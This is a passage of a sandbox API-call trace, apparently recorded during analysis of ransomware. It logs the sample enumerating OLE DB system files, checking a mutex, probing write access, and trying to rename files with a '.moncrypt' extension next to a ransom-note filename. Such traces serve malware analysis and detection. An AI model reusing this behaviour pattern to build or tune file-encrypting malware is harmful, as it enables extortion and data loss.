dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.109] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\oledb32r.dllo", lpUsedDefaultChar=0x0) returned 4 [0057.110] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.110] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.110] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.110] CharLowerBuffW (in: lpsz="oledbjvs.inc", cchLength=0xc | out: lpsz="oledbjvs.inc") returned 0xc [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.110] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.110] CharLowerBuffW (in: lpsz=".inc", cchLength=0x4 | out: lpsz=".inc") returned 0x4 [0057.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inc", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".inc DB\\oledbjvs.inco", lpUsedDefaultChar=0x0) returned 4 [0057.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\я" (normalized: "c:\\program files\\common files\\system\\ole db\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0057.111] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d28*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ed70, lpOverlapped=0x0 | out: lpBuffer=0x1e61d28*, lpNumberOfBytesWritten=0x18ed70*=0x1, lpOverlapped=0x0) returned 1 [0057.112] CloseHandle (hObject=0x188) returned 1 [0057.112] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\я" (normalized: "c:\\program files\\common files\\system\\ole db\\я")) returned 1 [0057.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 0x54e200 [0057.113] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.113] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.113] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", dwFileAttributes=0x20) returned 0 [0057.122] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.122] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.moncrypt" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.moncrypt")) returned 0 [0057.122] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.122] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.122] GlobalLock (hMem=0x440004) returned 0x550170 [0057.122] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.122] GlobalUnlock (hMem=0x440004) returned 0 [0057.122] GlobalLock (hMem=0x440004) returned 0x550170 [0057.122] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.122] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.122] GlobalUnlock (hMem=0x440004) returned 0 [0057.122] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.122] GlobalUnlock (hMem=0x44000c) returned 0 [0057.122] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.123] CharLowerBuffW (in: lpsz="oledbvbs.inc", cchLength=0xc | out: lpsz="oledbvbs.inc") returned 0xc [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ví\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.123] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", cchWideChar=56, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inco", lpUsedDefaultChar=0x0) returned 56 [0057.123] CharLowerBuffW (in: lpsz=".inc", cchLength=0x4 | out: lpsz=".inc") returned 0x4 [0057.123] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inc", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".inc DB\\oledbvbs.inco", lpUsedDefaultChar=0x0) returned 4 [0057.124] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 0x54e200 [0057.124] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0057.124] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0057.124] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0057.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", dwFileAttributes=0x20) returned 0 [0057.124] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.moncrypt" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.moncrypt")) returned 0 [0057.125] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0057.125] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.125] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.125] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.125] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.125] GlobalUnlock (hMem=0x44000c) returned 0 [0057.125] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.125] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.125] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.125] GlobalUnlock (hMem=0x44000c) returned 0 [0057.125] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.125] GlobalUnlock (hMem=0x440004) returned 0 [0057.125] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.125] CharLowerBuffW (in: lpsz="sqloledb.dll", cchLength=0xc | out: lpsz="sqloledb.dll") returned 0xc [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.126] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dll", cchWideChar=56, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.dllo", lpUsedDefaultChar=0x0) returned 56 [0057.126] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.126] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll DB\\sqloledb.dllo", lpUsedDefaultChar=0x0) returned 4 [0057.126] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0057.126] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.126] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.126] GlobalLock (hMem=0x440004) returned 0x550170 [0057.126] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.126] GlobalUnlock (hMem=0x440004) returned 0 [0057.127] GlobalLock (hMem=0x440004) returned 0x550170 [0057.127] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.127] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.127] GlobalUnlock (hMem=0x440004) returned 0 [0057.127] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.127] GlobalUnlock (hMem=0x44000c) returned 0 [0057.127] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.127] CharLowerBuffW (in: lpsz="sqloledb.rll", cchLength=0xc | out: lpsz="sqloledb.rll") returned 0xc [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="q", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="qí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0057.127] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.128] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", cchWideChar=56, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rllo", lpUsedDefaultChar=0x0) returned 56 [0057.128] CharLowerBuffW (in: lpsz=".rll", cchLength=0x4 | out: lpsz=".rll") returned 0x4 [0057.128] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rll", cchWideChar=4, 